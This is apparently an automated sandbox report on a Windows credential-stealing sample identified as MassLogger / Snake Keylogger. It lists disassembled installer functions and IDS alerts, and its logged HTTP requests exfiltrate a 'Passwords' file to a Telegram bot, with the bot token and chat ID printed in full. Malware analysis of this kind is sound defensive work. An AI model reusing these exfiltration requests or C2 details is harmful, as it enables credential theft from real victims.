Associated: 00000005.00000002.2717945007.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717969676.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717997307.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 0_B
API String ID: 3248276644-2128305573
Opcode ID: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction ID: e2ef3bf648e1011fa726b67e088789f036b8871ba300d86fb9c867912b04298b
Opcode Fuzzy Hash: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction Fuzzy Hash: B4F0F439109E5116D62233365D09BEF0548CF82354B5A853BFC91B22D2DB3C8A539DFE

Function 004053C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004053F3
CallWindowProcW.USER32(?,?,?,?), ref: 00405444

Part of subcall function 004043AB: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004043BD

Strings

, xrefs: 004053D4

Memory Dump Source

Source File: 00000005.00000002.2717926385.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717907797.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717945007.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717969676.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717997307.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction ID: 343f6187318c33bb175646012d6cb398530476c6c15fe8dd96994d534b9a6b17
Opcode Fuzzy Hash: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction Fuzzy Hash: CC0171B1200609ABDF305F11DD84B9B3666EBD4356F508037FA00761E1C77A8DD29A6E

Function 00405F0D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405F2B
GetTempFileNameW.KERNEL32(?,?,00000000,?,?,?,00435000,004034A3,00437000,00437800,00437800,00437800,00437800,00437800,75573420,004036EF), ref: 00405F46

Strings

nsa, xrefs: 00405F1A

Memory Dump Source

Source File: 00000005.00000002.2717926385.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717907797.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717945007.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717969676.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717997307.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction ID: 076564571966e4dc9ef4834731be4d502634ae0aeddccfca5b4533d1bab5a213
Opcode Fuzzy Hash: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction Fuzzy Hash: 14F09076601204FFEB009F59ED05E9BB7A8EB95750F10803AEE00F7250E6B49A548B68

Function 004059D1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426730,Error launching installer), ref: 004059FA
CloseHandle.KERNEL32(?), ref: 00405A07

Strings

Error launching installer, xrefs: 004059E4

Memory Dump Source

Source File: 00000005.00000002.2717926385.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717907797.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717945007.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717969676.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717997307.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction ID: 166b032e71181ba573d10d742cd21a74b10ba840f41c43b266edefbe5b435367
Opcode Fuzzy Hash: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction Fuzzy Hash: E5E04FB0A102097FEB009B64ED49F7B76ACFB04208F404531BD00F2150D774A8208A7C

Function 00406F27 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717926385.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717907797.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717945007.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717969676.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717997307.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction ID: 2bd06e12bed6e0bcd81d630d0cd78bd49004ac77cb8b5ebb757de7108a839e92
Opcode Fuzzy Hash: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction Fuzzy Hash: 1DA14471E04228CBDF28CFA8C8446ADBBB1FF44305F14806ED856BB281D7786A86DF45

Function 00407128 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717926385.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717907797.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717945007.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717969676.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717997307.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction ID: f1da02a2f8b93330a3d469e31e6e9edf047fa596270f1f1d86c95cc791e20b04
Opcode Fuzzy Hash: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction Fuzzy Hash: AA910271E04228CBEF28CF98C8447ADBBB1FB45305F14816AD856BB291C778A986DF45

Function 00406E3E Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717926385.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717907797.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717945007.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717969676.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717997307.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction ID: fb1d02f26201205f5bfcbd3029eb7cfad7cca69a3f8c46de7b35964bdd0c3f7d
Opcode Fuzzy Hash: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction Fuzzy Hash: 18814571E04228DFDF24CFA8C844BADBBB1FB45305F24816AD856BB291C7389986DF45

Function 00406943 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717926385.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717907797.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717945007.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717969676.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717997307.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction ID: 55fc176551b00f8465723d30588461dcf2fc1d3195b414c524ee7a2fcbdbe87b
Opcode Fuzzy Hash: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction Fuzzy Hash: 39815971E04228DBEF24CFA8C844BADBBB1FB45305F14816AD856BB2C1C7786986DF45

Function 00406D91 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717926385.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717907797.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717945007.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717969676.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717997307.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction ID: 7645ab34ef40ba223d211dbe726f8302725d3f31b3e808d93cc70016d3e0d248
Opcode Fuzzy Hash: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction Fuzzy Hash: 10711471E04228DBDF24CF98C8447ADBBB1FF49305F15806AD856BB281C7389A86DF45

Function 00406EAF Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717926385.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717907797.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717945007.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717969676.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717997307.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction ID: a4e19b7408f2815589132e7e2b866ae2b9c8caa40868d81b8a4623295251dea3
Opcode Fuzzy Hash: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction Fuzzy Hash: 0D712571E04218DBEF28CF98C844BADBBB1FF45305F15806AD856BB281C7389986DF45

Function 00406DFB Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717926385.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717907797.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717945007.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717969676.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717997307.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction ID: 979076adb26e5f1e3e7a9458f232081f51f9a0722543042d1d726f4d31452a21
Opcode Fuzzy Hash: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction Fuzzy Hash: 50714871E04228DBEF28CF98C8447ADBBB1FF45305F15806AD856BB281C7386A46DF45

Function 00405E43 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405E6B
CharNextA.USER32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7C
lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

Memory Dump Source

Source File: 00000005.00000002.2717926385.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717907797.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717945007.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717969676.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717997307.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction ID: 3eb9f18af2c16f81f4dc7877ab3147293eaebe45f2d41041cd024b5e05e36bdf
Opcode Fuzzy Hash: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction Fuzzy Hash: 4AF0C831100514AFC7029B94DD4099FBBA8DF06354B25407AE844FB211D634DF01AB98

Source: 00000005.00000002.2743712849.0000000034E0B000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA", "Telegram Chatid": "1934716051"}
Source: 4UQ5wnI389.exe.5624.5.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendMessage"}

Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37A6D1EC CryptUnprotectData,		5_2_37A6D1EC
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 5_2_37A6D9D9 CryptUnprotectData,		5_2_37A6D9D9

Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49838 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49838 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49913 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49785 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49913 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49814 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49814 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49785 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49724 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49724 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49778 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49778 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49751 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49939 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49862 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49802 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49939 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49802 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49862 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:50008 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:50008 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49751 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:50006 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:50006 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49992 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49992 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:50011 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49826 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:50011 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49826 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49981 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49981 -> 149.154.167.220:443

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd318b05b80552Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31bfeb0e4d02Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31e806c5ea20Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31f9ee600d70Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd321822276aafHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd322b49d64871Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32468ff34b56Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3256e00e1ca8Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3282309ea77bHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32daaef8b599Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd33052afb8cacHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd33517e971c7fHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3367b73ade45Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd338994765545Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd33a0f2189f40Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd318b247ec2ccHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.21.112.1 104.21.112.1
Source: Joe Sandbox View	IP Address: 158.101.44.242 158.101.44.242

Source: 4UQ5wnI389.exe	Virustotal: Detection: 75%			Perma Link
Source: 4UQ5wnI389.exe	ReversingLabs: Detection: 57%

Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37A6C985h	5_2_37A6C638
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37A61042h	5_2_37A60C28
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37A60671h	5_2_37A603AF
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37A6EA48h	5_2_37A6E790
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37A61042h	5_2_37A60F6F
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37A6E198h	5_2_37A6DEE1
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37A6C041h	5_2_37A6BD88
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37A6B791h	5_2_37A6B4EC
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37A61042h	5_2_37A60C1B
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37A6EEA0h	5_2_37A6EBF7
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37A6E5F0h	5_2_37A6E339
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37A6DD40h	5_2_37A6DA89
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37A6C499h	5_2_37A6C1F2
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37A6BBE9h	5_2_37A6B944
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37A6B339h	5_2_37A6B07F
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37A6F2F8h	5_2_37A6F042
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37B1882Dh	5_2_37B18650
Source: C:\Users\user\Desktop\4UQ5wnI389.exe	Code function: 4x nop then jmp 37B191B7h	5_2_37B18650
